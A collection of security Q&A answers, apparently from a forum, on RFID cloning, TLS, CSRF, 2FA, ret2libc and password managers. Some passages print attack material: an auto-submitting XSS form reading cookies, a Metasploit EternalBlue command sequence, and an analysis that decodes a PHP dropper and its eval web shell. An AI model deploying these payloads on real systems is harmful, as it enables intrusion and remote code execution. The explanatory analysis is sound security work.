Also more specifically social engineering can become a gray zone when it comes to segregation of professional and private life. Especially in more privacy minded countries (EU countries mostly) this can be very tricky to offload back to the client.


Is it possible to clone an RFID/NFC card using a simple RFID reader, for future reuse and impersonation?

If it is a basic data providing tag, then it can be cloned.  If it is a secure tag, it is far more difficult.

For secure cards used for payments and authentication, a private key is loaded on to the card and the card never discloses it.  The public key is kept by the bank or whoever needs to be able to verify that the card was used.  If, for example, the card is used for a payment, the vendor's terminal feeds information about the transaction to the card and asks the card to sign the transaction.  The card signs the transaction and returns the signature to the reader.  This signature allows the vendor to prove to the credit card company that the card was used for that transaction, but it doesn't give the vendor the information needed to clone the card.

There are potentially ways to etch off layers of the card and directly access the circuitry that holds the keys, but such methods are unreliable and difficult to execute, particularly since a good secure tag should be designed to be tamper resistant.

There are some attacks against older protocols that should be going out of use now, but generally speaking, a good, modern, secure tag should not be cloneable.  That is the entire point of using this kind of technology rather than a magnetic strip (which is easily cloneable.)


Does adblockers(ublock) protect you from Malvertisement?

Ublock does in fact completely deny connections, so yes. It should protect you against a lot of malvertisement. Most malvertisements are in the form of flash ads, and these days its smart to keep flash disabled except for when you really need it on trusted websites.


Unknown android device connecting to my wireless router even after changing wifi key several times

Yet another question asking for help that got unfairly downvoted by an anonymous coward who didn't bother to help. Upvoted and FTFY.

Anyway, now for the answer. You mentioned your router admin page isn't login protected. Rookie mistake, right off the bat. If the owner of the unknown device knows the manufacturer and model of your router, it becomes trivial to look up the config instructions for the router, navigate to the admin page, and change various settings, including the router key.

Intuitively, there should be a chicken-and-egg problem preventing access even if you have a setup like that: the unknown device doesn't have the router access info, so it has no way of getting on the network to access the admin page. However, this becomes a problem if your router allows open access through some misconfiguration (Veroxi's comment provides a good example).

I have no idea if your router supports MAC-address banning - if it does, you could see if you can find access information, find the MAC address of the offending device, and ban it.

Finally, as Daniel E. said, use a good encryption and authentication scheme. The modern standard is WPA2. In particular, stay away from WEP. Most modern routers will use WPA or WPA2 by default if you setup the router to require authentication.


How to enforce NTFS permission compliance?

If access is always through shares, I would advise the use of share permissions. These should be set to allow read/write but not full (so that users cannot change filesystem permissions inside the share)  If users have console or TS access that might not be suitable though. But in most cases it is.

The problem with file/folder permissions is that they may or may not be carried over when files are moved from one folder tree to another. It's basically a permissions lottery in this respect, and one which depends on whether the files were moved on the server console or via shares. This situation leads to inadvertent security breaches.

Forget Microsoft's soapboxing about file permissions being superior, it's what works reliably that counts.

If you must use file permissions I would suggest creating a scheduled job using SetACL that resets the permissions to the default for that tree, say every hour.

SetACL: http://helgeklein.com/


As an end user, what risk is there in browsing a public website that uses TLSv1?

There is currently no real risk just based on the TLS protocol version for the end user when visiting a site which provides only TLS 1.0 (TLSv1) with a modern browser, i.e. a current version of Chrome, Firefox, Edge or chromium based browsers like Opera. Fortunately browser vendors today actually care about security and if TLS 1.0 would be too insecure it would be switched off or be restricted to only some white-listed sites or only for use with some ciphers.

On the other hand: if a site is still offering only TLS 1.0 you might ask yourself how their relation to security is in general. While there might be some sites which knowingly support only TLS 1.0 it is more likely that they use some old systems or setups which is not able to support TLS 1.2 yet. Given that the most commonly used server-side SSL stack OpenSSL has support of TLS 1.2 since version 1.0.1 released in 2012 and that even OpenSSL 1.0.1 is out of support since some time, it is not unlikely that the owners of the site don't really care about security and that the rest of their infrastructure is outdated too. And that should worry you, not the use of TLS 1.0 by itself.


How to enable concurrent users, one RDP and one local, in post exploitation in windows without disk modification?

If the process is high-integrity, then you need to be running with either SYSTEM or Administrator privileges.

Since your exploit is evidently not providing the necessary privileges, you would need to escalate your privileges first. If you're using a common tool like Metasploit, there may be an escalation plugin that applies to your target. Given the automatic nature of Windows 10 patching, however, the built-in plugins rapidly go out of date.

Alternatively, you can exploit the system in a way that grants the necessary privileges. There's always a bit of research to determine what exploits are necessary for a particular demonstration. Sometimes there are none "out of the box", and you would have to create your own (or purposefully use an unpatched Windows instance).

Ultimately, the right tool for this situation (A) depends on the specific patch level and configuration of your target, and (B) may not exist for your target.


Is my understanding about how SSL works correct?

Let's abstract from a .cer or .pfx for a moment.

What is a certificate? It is something tying public key to a name (oversimplification, but should be OK for this question). Certificate is signed by a third party (certification authority) which certifies that this public key "belongs" to this name (e.g. www.example.com).

Now, when web browser connects to a SSL site, site responds with its certificate. Web browser then verifies that certificate by checking if it is signed by a trusted root certificate (one of preloaded with the browser). If it does, browser can establish secure session using public key from the certificate (because it is now confident that public key belongs to the site it's connecting to).

In practice sites return not a single certificate, but a chain of them (site's leaf cert and one or more intermediate ones). This doesn't change the big picture much but browser now needs to verify whole chain and make sure it ends up in one of the trusted root certs (i.e. that leaf cert is signed by intermediate cert and that intermediate is signed by root cert).

As to private/public keys... Certificates do not contain any secret or private keys; they only contain entity's public key. In short, party proving its identity must possess private key corresponding to its certificate. With 1-way SSL this means that server must have private key corresponding to its certificate; with 2-way this means that that client must also have private key corresponding to its certificate. Anyone with private key corresponding to a certificate may impersonate certificate holder.

To your questions:

Certificate is a public key + name + other info; no private data in there;
Preloaded certs are exactly same as ones returned by the server (i.e. no secret data); the "magic" is that they are trusted by the system by default, so other certificates signed by those trusted certificates will also be trusted;
You're talking about client auth here? Server only needs certificate of the client that it can trust (self-signed certs might satisfy this) and client certificate must absolutely not contain client's private key.

I've tried to simplify things a bit, so they're not 100% accurate and there's a room for nitpicking :) But I hope this helps to better understand the basics.


How to reset a second factor authentication without compromising the authentication process

Here's three solutions:

Have a limited number of one-time-use recovery codes which the user is instructed to print and store in a physically secure location. This is essentially a substitute for "something you have" as it's unlikely the user will remember any of the codes. This is the approach used by Google.

Use transitive trust, this works if you know there's a relationship between users. For example if you know two accounts belong to employees of the same company you could allow one employee who has fully authenticated to approve authentication for another employee logging in with only their password. To a degree AWS uses this method as there isn't an explicit 2FA reset functionality, but you can allow some users to have permission to modify the 2FA settings for others.

Introduce a time delay on authentication resets with the opportunity to deny it. For example, if the user logs in with their password and chooses to initiate a fingerprint reset then they have to wait 72 hours before they can proceed. During that time an alert is sent to the user via email, SMS, etc. and at any point the user can log in using both their password and fingerprint and cancel the reset request. This approach is used by Apple when enabling 2FA to prevent users who only have passwords from getting locked out of their account by a hacker who enables 2FA.


return to libc- finding libc's address and finding offsets

First, before you can approach your problem, you need to check if the executable is running under ASLR (https://en.wikipedia.org/wiki/Address_space_layout_randomization)
If that's the case, you will need to find a way to leak the address from the program, as the address of libc will be different every time. You can easily check this by running gdb-->b main-->info proc mappings a couple of times and comparing the offsets. If they are different, your executable is probably running under ASLR.
Assuming there is no ASLR protection, using gdb-->b main-->info proc mappings should give you the base address of the libc SO. In order to find the offset of the function you'd like to jump to, you can use many methods, but using readelf -s should work fine - this will give you the offset of the function calculated from the base of the SO (base address of SO + offset = position of code at runtime).

In order to find the base address of the executable module at runtime you can use use gdb or any other debugger and search for the entry point of the executable (or just search for your string after the executable is loaded into memory...). Basically any program that will load your executable to memory and allow you to view the memory will do.

The address of an executable under linux is usually 0x400000 for 64 bit executables and 0x08048000 for 32 bit executables as defined by the gnu linker. But there's nothing stopping someone from changing the entry point to a different address.

After you've figured out the memory mappings, you'll need to find gadgets in the code, I'll leave that for you to research... https://en.wikipedia.org/wiki/Return-to-libc_attack

Perhaps you can find more answers by looking at exercises at exploit-exercises.com
for example, protostar stack6 should deal with ret2libc, you can look for a walkthrough

edited: it seems that ldd won't always give you the correct address, it even ignores disabling of ASLR on my system - It's probably better to use gdb


Essentially it depends on the attacker and what resources they have available.  Ordinary home-users or attackers who aren't very dedicated might be deterred by source IP address blocking, but more advanced/determined attackers have a number of ways to get round this.

The obvious one is to use one of the wide range of proxy services available on the Internet.  This includes things like ToR and Anonymizer.com. Since one of the goals of these services is to mask the source IP address of the user, they will bypass the block until the attacker tries enough attempts with a given IP and gets blocked again.

As an interesting aside, the attacker could cause a partial DoS to your application by going round enough of these sites, as any of your other users who make use of those services will be blocked, once you block the IP addresses belonging to them.

On top of online services, the attacker could do things like use Wi-Fi hotspots or college/university networks to get access to more source IPs

So essentially this blocking would make things more awkward but wouldn't stop a determined attack.


Could embedding website links in an email lead to more hack attempts?

I see at least one way an attacker can take advantage of these e-mails.  The attacker (perhaps one of your customers) might attempt to "claim to be you" and send an e-mail to your customers with a very similar link, to a faked version of your website.  When the victim user "logs in" to the faked site, the attacker would then have their username and password, and could then log in as the victim user on the real site.


Why can an encrypted private key be brute forced?

Plaintext that consists of an RSA private key can be easily recognised, because it satisfies certain mathematical properties.  In particular:

d = e^-1 mod (p-1)(q-1)

This means that given the public key and a candidate d, you can calculate

d . e mod (p-1)(q-1)

If the result is 1, then you have found the correct key.

The solution is to use a strong passphrase for protecting your private keys.


Is HTML5 vibrate feature a security vulnerability?

A popup was used to show the alert. Does this mean that the popup feature introduces vulnerabilities? Then by that line of reasoning JavaScript is the source of all problems. There are people who actually think that JS is an important vector for attacks and block it on untrusted websites with extensions like NoScript.

Many features can be misused, and is up to people creating the standards, browsers and even websites to judge what is bad and to change the standards or implement mitigations. Of course those people can be wrong and some feature can be unexpectedly used to attack users.

A nice example is the browser's console which is very often used to trick users into pasting JS code that attacks the user. This helped Facebook worms to propagate with great success. Facebook noticed this and introduced this message in the console:

This vibrate function might trick some users into thinking that it is actually the OS showing the alert, but I think the latest mobile browsers do a good job of showing the user that he is still inside the browser. In this case, the message from the browser is clear enough "The page at andro-apps.com says:"

If this becomes an important vector for attack, I'm sure the browser manufacturers will notice that and will make changes to reduce the impact.


Kerberos authentication on HTTP will encapsulate Kerberos ticket inside a SPNEGO token and will not expose user credentials. Replay attack is stopped by authenticators. But there is a possibility to do a active MITM attack where you would prevent server from receiving captured authenticator. Please see this paper for more details.


Can someone take money out of my account with just my Account & Routing number?

In theory they can, just like companies can directly take money (called Direct Debit here in the UK) from your account using those values.

However to be able to do direct debits you'd need an established business account with a major bank which won't do any good for a fraudster as it's pretty much impossible to open one anonymously.

Finally all transactions are logged and banks can reverse them if there is suspicion of fraud, so there's no need to worry. Account and routing numbers are fairly low entropy so if this was a good fraud opportunity we would already have crooks bruteforcing those numbers.


There are still people who use both options with benefits to either. One thing to keep in mind is that there are a variety of threats that are dependent on password strength rather than someone actually finding your passwords on paper.

The 'Safebox':

Lets break this down into a few traditional 'safeboxes'.

A Wallet - This method provides some security in that you (generally) take it with you everywhere and rarely lose possesion of. If you have passwords in this and your wallet gets lost or stolen you really have to hope no one can wreck havoc with them.

Under your keyboard - Please don't do this at work just a bad idea. At home maybe, since unless you are a bank exec or notorius cyber criminal no one will target your passwords when they break into your house.

In an actual safe - Okay, now we're talking! That seems like a decent idea unless your adversary is a government or a hardened criminal.

One of the decent things about a Safebox of varying types is that those passwords are very hard to steal from you. There is always the potential that your website account gets compromised because of a companies lax security or eavesdropping over unsecured or poorly secured connections.

Because of this, even if you write down passwords and use a safe, keep them unique and strong passwords or else if your account on one site gets compromised your account on other sites might also get compromised.

The Password Manager

There are several kinds of password managers each with their own set of benefits and flaws. One immense improvement over a safe is that most password managers can generate lengthy, randomized passwords that would be incredibly hard to guess. There are also differences in the sorts of digital password managers you could use.

Browser Storage - Firefox, Chrome, and many other browsers have some component of password management built in. However, these passwords are easily accessible with brief access to your machine while logged in. They are stored unencrypted, and often don't require a master password to use. Because of this, browser storage, despite being convenient, isn't the most secure.

Cloud-Based Proprietary Password Managers - There are some great companies out there and there are some awful ones. How are you really going to tell the different if they wont show you or anyone else exactly how they operate? Maybe they store your passwords in plain text? Maybe they store it encrypted with a decryption they have control over. Do you want to trust strangers (even reputable ones) with your bank account, personal email, and facebook logins? No? Then don't do this. There might be decent companies using zero knowledge systems where they couldn't look at your information or passwords if they wanted to but I don't think those are the majority. These often cost money

Local installations of strong password managers - Now we're talking! Programs like KeePass and KeePassX for non-windows computers provide all the benefits of the above with fewer drawbacks. They are encrypted to the teeth to protect your passwords. Password database files can be stored as encrypted files in the cloud to use at any location with internet access, and you can even put the programs to open them and the files securely on a USB without having to worry if the USB gets lost or stolen. If it does, the encryption should keep your passwords safe for a few billion years. These are free!

So, I'd suggest using a password manager like KeePass(x). There are also additional drawbacks to the safe options because they are a pain in the butt if you use the passwords in your safe frequently. Then you have to open and close your safe all the time. And who wants to do that?!


How long it will take to crack a RAR password?

A completely random alphanumeric password of length 16 has an entropy of 95 bits (16*log2(2*26+10)). I forgot the exact value, but I think rar uses around 100k iterations for its KDF, increasing the security level by about 17 bits, resulting in an effective security level of 112 bits.

With standard GPUs breaking this would cost around $1019. Custom hardware shaves off a factor 100 or so, still giving you a cost of $1017. Even if Moore's law continues, it'll take several decades until this is remotely feasible.

Related question: How expensive is it to guess a 15 character password, and should I be worried?


Is one CSRF token per session is adequate with HTTPS?

To prevent CSRF you need to have something unguessable in the explicit part of the request (GET or POST). Putting it into the POST part is preferred, since it's harder to leak it, and you typically only protect requests that trigger an action, which should be POST.

A per-session random value is unguessable and should do the job. The standard anti CSRF token mechanism built into ASP.net works just like that.

HTTPS prevents leaking the token on the wire, and also prevents replay attacks. So a one-time-token doesn't seem necessary.


I have found the answer to my own question on another stack question:

https://stackoverflow.com/questions/11698979/how-to-change-android-usb-connect-mode-to-charge-only

The Solution

Go to Settings
Select Storage under Device
Select "USB computer connection" from the drop down menu
Disable MTP and PTP


Password manager's hash choices (scrypt + sha256)

Slow key-derivation functions like SCrypt, BCrypt or PBKDF2 are necessary, to protect relatively short and weak passwords, or to generate a key from such passwords (Password-Based-Key-Derivation-Function). Users need to remember their passwords, so they are typically not very strong, that's why SCrypt was choosen to hash the user password.

On the other side, hashing with a fast SHA-256 is absolutely safe for very strong "passwords". The key generated with SCrypt is such a strong password/key, so there is no reason to use SCrypt again.

Eventually it must be decided how much time can be spent to calculate the hash, lets say you are willing to spend 1 second of CPU power. It is a good decision to spend as much time as possible for the first SCrypt hash, and only few time for the second hash. Otherwise you would weaken the SCrypt hash, because you wasted time for the second hash.


Unclosable instance of Node.js runs on Startup

If you do have a process that starts automatically and that cannot be properly traced to a binary you installed or configured I would suspect malware alright.  Just note that a complex OS like Windows 10 do have several ways of building a service, the most common way should be the Startup directory (which has its own tab in the task manager).

Nevertheless, you should install Wireshark (or similar) and monitor the traffic of the machine in question.  Although competent malware (e.g. rootkits) can hide itself from monitoring made on the same machine, your malware does not appear to be very good at hiding anyway.

(By monitoring traffic on an intermediate machine, e.g. a machine acting a s a router, you can even find traffic generated by well hidden malware.)

Monitoring the traffic you can show to what your machine is talking and (often) what is the content of the communication.  Yet that does not really provide a solution to the problem of having malware (for that see: Help! My home PC has been infected by a virus! What do I do now?)

Extra note: I'll repeat again, check first all the system services.  Notable the Startup tab.  Installers of a good deal of software today do install a Node instance, and make it run on startup.


As soon as you decrypt the data on the public PC, you must consider that it has been broken. It could be relatively safe to use such a PC to download that data onto a USB stick (assuming that you're not infecting that stick with some kind of malware at that time - another issue) but it's absolutely NOT safe to decrypt your data on said PC.

Protecting your private key with a passphrase does not grant you any guarantee: on a public machine, you're one keylogger away from losing it to the bad boys.

As to what could someone do with your private key without the password, well, they can try an offline attack in order to try to recover it. If your passphrase is long and complex enough, that might make this attack impractical but remember that, at the very least, CPU power is always increasing and that an attacker who has your encrypted private key is free to use as many systems in parallel as he wants to crack it.

So, unless all you want to protect is your private diary from your kid brother, I would not decrypt anything sensitive on a public machine (or place) if I were you.


What are the security concerns about using unencrypted TCP keepalive with TLS?

... server and the client sends unencrypted TCP keepalive messages

A TCP keepalive message is a packet with no payload, i.e. the length of the application data is 0. The objective of TLS is to protect the application data against sniffing and modification. Since there are no application data in the TCP keep alive message in the first place there is nothing to protect here. In fact, TLS is not even aware of TCP keepalive and there is no need that it needs to be aware of it.

  For example: Man-in-the-middle attacker disrupt the communication. To spoof both sides that the connection is still alive, he regularly sends/forwards TCP keepalives.

TLS does not care about the status of the TCP connection. It only cares about the transferred application data. TLS does not even see the TCP keepalive messages and has no way to trigger these.

The whole purpose of TCP keepalive is to keep an idle connection open and to detect connection loss within an idle connection. Connection loss or failure to detect it is usually not seen as a security problem since no actual application data are affected. If your specific applications requires such detection for security reasons and in a tamper-resistant way then you need to implement some kind of heartbeat at your application level or use the infamous TLS heartbeat extension if supported by your specific TLS stack.


FIDO servers connect with authenticator meta data service which has a "score" for each authenticator. Policy can be the type of the authenticator and the features the authenticator allow to perform. To make thing simple server can decide that up to 100$ transaction will be permitted with 4 digit PIN authenticator and for bigger transaction fingerprint sensor is required.
Server still verify the client but instead of verifying it password it verify cryptographic signature which the client generate after device verifies user identity.


"reflected" XSS attacks delivery to the victim

Reflected XSS is possible if the parameter is part of the URL (usually in the query string) or part of the message body in a POST request.

Parameters in headers or cookies cannot usually be used in a reflected XSS attack because there is no way for an attacker to set these headers (custom headers cannot be sent cross-domain without the use of CORS).

They don't always require a click from the victim on the infected URL directly. Say if a website the user usually visits was compromised, the attacker may add

<form method="post" action="https://example.com/submit">

  <input type="hidden" name="textarea1" value="&lt;input onclick=alert(document.cookie)&gt;" />

</form>

<script>
document.forms[0].submit();
</script>

to the HTML (watering hole attack).

Note that if a web page is vulnerable to a POST body reflected XSS attack, then this can also be mitigated via anti-CSRF protections instead of proper HTML output encoding (although in the spirit of defense in depth I would also recommend fixing the actual XSS vulnerability because there might be other attack vectors which could exploit this).


Reason for lack of asymmetric cryptography in AWS KMS for regions in China

Asymmetric encryption was only introduced to AWS KMS in 2019. Prior to that, only symmetric encryption was available regardless of which region you were using. Even when AWS made the official announcement for asymmetric keys on KMS, many regions did not get the functionality on day 1.

Also, the two regions in China are somewhat special, in that they're operated by local companies:

  The service operator and provider for AWS China (Beijing) Region based out of Beijing and adjacent areas is Beijing Sinnet Technology Co., Ltd. (Sinnet). And the service operator and provider for AWS (Ningxia) Region based out of Ningxia is Ningxia Western Cloud Data Technology Co., Ltd. (NWCD).

While I'm not sure of the exact reason, it might be legal (might not!), but there's a lot of services within AWS that aren't fully available in all regions, and this is common even for 'core' AWS regions. It could simply be that feature hasn't been rolled out yet in China -- or it's just the technical complexity of rolling out the feature makes it difficult for companies other than AWS to onboard quickly.


For one-way communication you have three classes of issues to contend with:

Confidentiality: you want the messages to be unreadable by eavesdropper. Only the receiver (and possibly the sender) should be able to read the message.
Integrity and authenticity: you want the receiver to make sure that what it receives is indeed what the authentic sender sent. Thus, there must be reliable detection mechanisms for both alterations (message is modified while in transit) and impersonations (attacker sends a synthetic message that the sender never produced).
Replay, drop and reorder: an attacker could record genuine messages, sent at one time by the sender, and replay them to duplicate the effect. He could also block some messages. And he could combine both, so that the receiver obtains the messages in the wrong order.

For confidentiality, the receiver must store and use a secret value which embodies its power to actually read the data. This secret may be a simple symmetric key (a mere bunch of bytes) that the sender also knows; symmetric encryption is then used. If you don't want the sender to know that key (e.g. you have several senders, and no sender should be able to read the messages from other senders to the same receiver), then asymmetric encryption is to be used.

For integrity and authenticity, there is no escaping it: the sender must also own a secret, that attackers do not know. Otherwise, if there is nothing secret in the sender, then the sender can be perfectly emulated by any attacker, and you won't be able to prevent impersonation (i.e. in your description, the part about "the receiver can verify that the data is authentic" is wrong: the receiver cannot obtain that guarantee if the sender does not have and use some secret). If you used the "shared secret" principle with symmetric encryption, then the same secret could be used as part of a MAC to ensure that altered or forged messages are detected as such. There are nifty symmetric encryption modes (e.g. GCM or EAX) which combine encryption and MAC properly, using the same key for both. If you follow the asymmetric road, then the sender will also need a public/private key pair, and use signatures. The receiver will need to know the sender's public key with some guarantee that it is using the right one.

The asymmetric setup, where both sender and receiver have their own key pair, is the same model as the one used for emails in S/MIME and OpenPGP. One may note that asymmetric encryption can be "heavy" for the really small hardware. A 33 MHz ARM processor can grope asymmetric cryptography (it can do RSA, but it will be happier with elliptic curves); an 8-bit microcontroller will have trouble (so, if you use Arduino boards, ARM is OK for asymmetric crypto, AVR is not, unless you are very patient).

The defence against replay attacks is the hard part. Since the communication is one-way, you cannot defend against dropped messages by the attacker; the sender cannot know if his messages got through. However, you may be able to detect skipped messages on the receiver side. More generally, what you need is a stateful receiver: the receiver must maintain some memory of past messages, in order to detect foul play. The simplest method is to have a sequence number:

The message contents contain a numerical value. The sender increments that value for each message.
The receiver remembers the sequence number of the last received message.

That way, the receiver can detect dropped messages (there are "gaps" in the received sequence numbers), out-of-order messages, and replays.

Radio communication is supposed to be strongly ordered: messages won't arrive out of order under normal or even abnormal (but non-malicious) conditions. This is not true of all transport mediums; e.g. over the Internet, packets can be reordered, duplicated and dropped, and receivers must deal with it. The generic method is to maintain a window of "acceptable sequence numbers" (e.g. all numbers from n to n+9, for a window of size 10), and the receiver applies timeout strategies to know whether it should still wait for the missing messages, or just consider them as lost. In the case of radio, a simple sequence number is sufficient.

If the receiver cannot store permanently the last received sequence numbers, then time stamps can be used, but this requires the receiver to have a reasonably accurate clock, and it cannot use an external time source (because it could be faked by the attacker, because of one-wayness again). With a time stamp:

Each request has both a sequence number and a time stamp.
The receiver remembers temporarily (e.g. in RAM) the last received sequence number.
When a message is received and the receiver still remembers the last received sequence number, then it uses it to detect replay.
Otherwise, the receiver uses its clock and compares it to the time stamp to detect replay.

The sequence number + time stamp reliably prevents replay attacks provided that the receiver's clock accuracy is better than the hardware reboot latency. Meaning that if the receiver is reset, then it forgets the last received sequence number; if the reset is done within 5 seconds and the receiver's clock is accurate only to within 15 seconds of the current time, then there is a 10-second window during which replay is feasible. Depending on the context, this may or may not be a problem.


What is Application Layer Encryption in Web application?

You normally use Application Layer Encryption for app to app communication: firsts app encrypts its data and sends it whatever the underlying transport is to the second one. And the data will only be decrypted there.

In a browser to server application, the only way would be to use client code (Javascript) to encrypt the request payload and decrypt the response payload. I willingly use payload here, because at application level only the request and response payload is considered. And on the server side, the server application will decrypt received data and encrypt what it sends back.

But it is more used for web services. Here the client application can more easily encrypt/decrypt the data before sending it and after receiving it.

In fact the way I described the browser to server Application Layer Encryption is just a special case of a web service where the client is a Javascript application.


From Airbase-ng site, yes you can.
You need the following command: airbase-ng -c 9 -e teddy -z 2 -W 1 rausb0 where:

-c 9 specifies the channel
-e teddy filters a single SSID
-z 2 specifies TKIP
-W 1 set WEP flag because some clients get confused without it.
rausb0 specifies the wireless interface to use

I tired to achieve what you're trying to do once, and the problem is within the encryption protocol. You need to make sure that you're using the correct one. TKIP or CCMP.


AutoScripting for Windows Cmd shell when session start

I have little solution :

use exploit/windows/smb/ms17_010_eternalblue
set TARGET 0
set payload windows/x64/exec //its good idea for my job
set cmd cmd.exe\ \/k\ cd\ c:\\users\\user1\\desktop&mkdir pwned

exploit!


Say, 256-bits of randomness and 256-bits of signature, is that any more secure than just using 512-bits of randomness?

It is not any more secure. The best case scenario for the signed token is that the attacker don't know anything about what would be a proper signature. That effectively makes it a 512 bit ranom number from the perspective of the attacker. Besides, a properly generated 256 bit random number is practically unguessable anyway.

You will need signatures if you want to avoid database lookups. But then you wouldn't be signing a random number, but a description of the task the token grants the user the right to perform - e.g. password reset for user 123, before the deadline X. I'm not sure I would dare to use such a scheme for something as critical as password reset, though.


As Thomas pointed out, this attack is designed to exploit poor content handling in log utilities. There are many "log to HTML" engines that simply extract the text of the logs and place them blindly into a HTML template. When the user requests the HTML page from the server, the <?php tags are parsed by the PHP engine and the code is executed. Since many servers allow .html files to be handled by PHP, this has a reasonable chance of working.

Let's take a look at the payload. The block of base64 that you see in that attack string decodes to the following PHP script:

@ini_set('allow_url_fopen', 1);

addLoader();
$data = @opendir('.');

while ($file = @readdir($data))
{
    $file = trim($file);
    if (!$file || preg_match('/^\.+$/', $file) || !is_dir($file)) continue;
    addLoader($file);
}

@closedir($data);

function addLoader($dir = '')
{
    if ($dir) $dir .= '/';
    @chmod($dir, 777);
    @system("chmod 777 $dir");

    $fp = fopen("{$dir}2e030ba348eb47877b994934d420c475.php", "w");
    fwrite($fp, base64_decode('PD9waHANCg0KQGluaV9zZXQoJ2FsbG93X3VybF9mb3BlbicsIDEpOw0KQGluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQnLCA2MCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgNjApOw0KQHNldF90aW1lX2xpbWl0KDYwKTsNCg0KJGRhdGEgPSBAdW5zZXJpYWxpemUoYmFzZTY0X2RlY29kZSh0cmltKEAkX1BPU1RbJ2RhdGEnXSkpKTsNCg0KaWYgKEAhaXNfYXJyYXkoJGRhdGEpIHx8IG1kNSgkZGF0YVsncGFzc3dvcmQnXSkgIT0gJ2QzZGY0MzljM2U0YjJjNDE5MjBkOGUyNzMzMTEzMjM2JykgZXhpdDsNCmlmIChAJGRhdGFbJ2NvZGUnXSkgZXZhbChiYXNlNjRfZGVjb2RlKCRkYXRhWydjb2RlJ10pKTsNCmlmIChAJGRhdGFbJ2NoZWNrX2NvZGUnXSkgcHJpbnQgJGRhdGFbJ2NoZWNrX2NvZGUnXTsNCg0KPz4='));
    fclose($fp);

    if (file_exists("{$dir}2e030ba348eb47877b994934d420c475.php"))
    {
        $ck = "1823649365820354";
        print "$ck:{*}:$dir:{*}:";
        exit;
    }
}

Let's dissect this a bit...

The @ini_set line enables URL handlers in fopen calls, so external resources can be fetched. The @ prefix suppresses any errors that might occur if the call fails.
The call to addLoader() does the main bulk of the work. I'll go into this in a moment.
@opendir('.') obtains a handle to the current directory.
The while loop runs through every sub-directory in the directory, and calls addLoader($file) for each. It uses a regex to skip the . and .. entries. Don't be fooled by the variable name - this does not loop through files.
Finally it calls @closedir($data). Nice of it to clean up!

But what does addLoader do? Essentially it attempts to chmod 777 every directory it can find, then dumps a PHP file called 2e030ba348eb47877b994934d420c475.php into them, with some contents taken from a base64 string. The final block of code seems to be some kind of mechanism to let the attacker identify which paths were successfully written to, perhaps using a magic number for automation. Side note: I can't find any reference to the file name hash online or in any hash database I know of.

Let's dissect that base64:

<?php

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', 60);
@ini_set('max_execution_time', 60);
@set_time_limit(60);

$data = @unserialize(base64_decode(trim(@$_POST['data'])));

if (@!is_array($data) || md5($data['password']) != 'd3df439c3e4b2c41920d8e2733113236') exit;
if (@$data['code']) eval(base64_decode($data['code']));
if (@$data['check_code']) print $data['check_code'];

?>

This is simple enough. The first few calls try to set up a permissive environment, where external resources can be loaded and scripts can run for up to 60 seconds. It takes a POST parameter called data and deserialises it into an array, and checks that the password matches a hard-coded MD5 hash. I tried looking up this hash in a few databases, but couldn't find a corresponding plaintext. If the password is correct, it then goes on to check for a code parameter, which it then executes. It also has a check_code option, which is presumably for verifying that the code arrived properly after transport encoding and decoding was performed.

So, all in all, this is a pretty bog-standard PHP shell with a delivery payload that tries to ensure maximum coverage in case of any writeable sub-directory.


Block WireGuard clients' access to specific websites

I see three ways this could be implemented, but no real "perfect" solution. Here are your options:

Drop requests to these sites at firewall level. This means you have
to block the IPs of these websites, which might be doable for small
sites (with a single IP and no LB or reverse proxy) but very hard /
impossible for big sites. Also you'll have to block all Cloudflare's
site if one of them is it the list... Not a very good option but
once the IPs are blocked in the firewall you know for sure no one
will reach them.
Implement you own DNS server and blacklist the domain names. Since you said you are using a Raspberry, you could look into PiHole which is a DNS server for Raspberry. You'll then have to configure clients to use the Raspberry as their DNS server. This is easier to implement than the first one but it can be bypassed by changing DNS server in Wiregard option for the client.
Redirect all VPN requests through a proxy doing some SSL inspection. VPN clients will have to install the proxy's CA on their device and then you can do some blacklisting on the "Host" header for example.


You can use hping --seqnum to get a dump of sequence numbers, with differences shown. For extremely trivial sequences, this might give you a result.

#hping2 win98 --seqnum -p 139 -S -i u1 -I eth0
HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes
2361294848 +2361294848
2411626496 +50331648
2545844224 +134217728
2713616384 +167772160
2881388544 +167772160
3049160704 +167772160
3216932864 +167772160
3384705024 +167772160
3552477184 +167772160
3720249344 +167772160
3888021504 +167772160
4055793664 +167772160
4223565824 +167772160

I don't know of any tool (other than nmap) that'll directly analyse the predictability. You could always collect a few hundred thousand and send the number through Diehard to see how well they perform, but I don't know how meaningful that'll be.

As an aside, this article on attractors in TCP sequences is a very cool visualisation of the poor RNG techniques used in some systems.


What was state of the art knowledge on security of speculative evaluation when it was introduced to Intel CPUs?

The state of the art was non-existent.

At the time of the Pentium Pro, the World Wide Web was four years old.  Widespread use of shared hosting was about ten years in the future; if you suggested that people would want to run untrusted code provided by random third parties, they'd look at you like you'd grown a second head.  Memory protection was about preventing one crashing program from taking down the whole system, not about letting programs hide data from one another.  Speculative execution was not seen as having any security implications whatsoever -- it was simply a way of avoiding performance-killing pipeline stalls.


Eye-Tracking, Public Access Points and Password Protection

When you start to use the word "assume" three times or more, you might be too broad and might get hit by a lot of individual opinions. Anyway…

Does the technique your assumptions describe actually exist?

Yes, it exists. It's part of what's commonly known as "body tracking surveillance techniques".

Will you ever meet it in real life?

Probably not — unless governmental institutions like the NSA learn to love you.

Is eye-tracking the only problem in your scenario?

No.

Based on the assumptions of your scenario descriptions, you should also look into "body tracking" and "statistical identification of movement patterns". To give you a simple hint on these kind of things: "shoulder movement" on it's own (no matter how minimal it is) can already provide enough identification vectors to reproduce the keys you have typed with a high probability of success.

Yet, physical tracking methods are rather impractical on a "one-person" scale as there is too much personel (specialists evaluating the data) and hardware (needed surveillance equipment) involved.

Why would someone want to use complicated techniquest when there are much simpler ways to gain access to your passwords. Let's - just for fun - assume someone really wants to get your password/pin/code/whatever using physical tracking methods… that someone will have to gather additional reference data and - even more important - be sure that the resources invested are actually worth the result.

So, unless you're working for "el presidente" and got some really cool access level to classified information - most adversaries will most probably fall back on easier methods to gain access to your passwords. After all, the goal of "them" will always be to invest a minimum of resources to reach access to your passwords. Trust me, no one will ever hire two to three infosec specialists with hi-tech equipment just to steal your top-secret Gmail password.

But let's suppose your password is really that important. Let me list a few security problems you'll have to take care of first:

Is that waitress really cleaning that table (or is she watching what you type)?
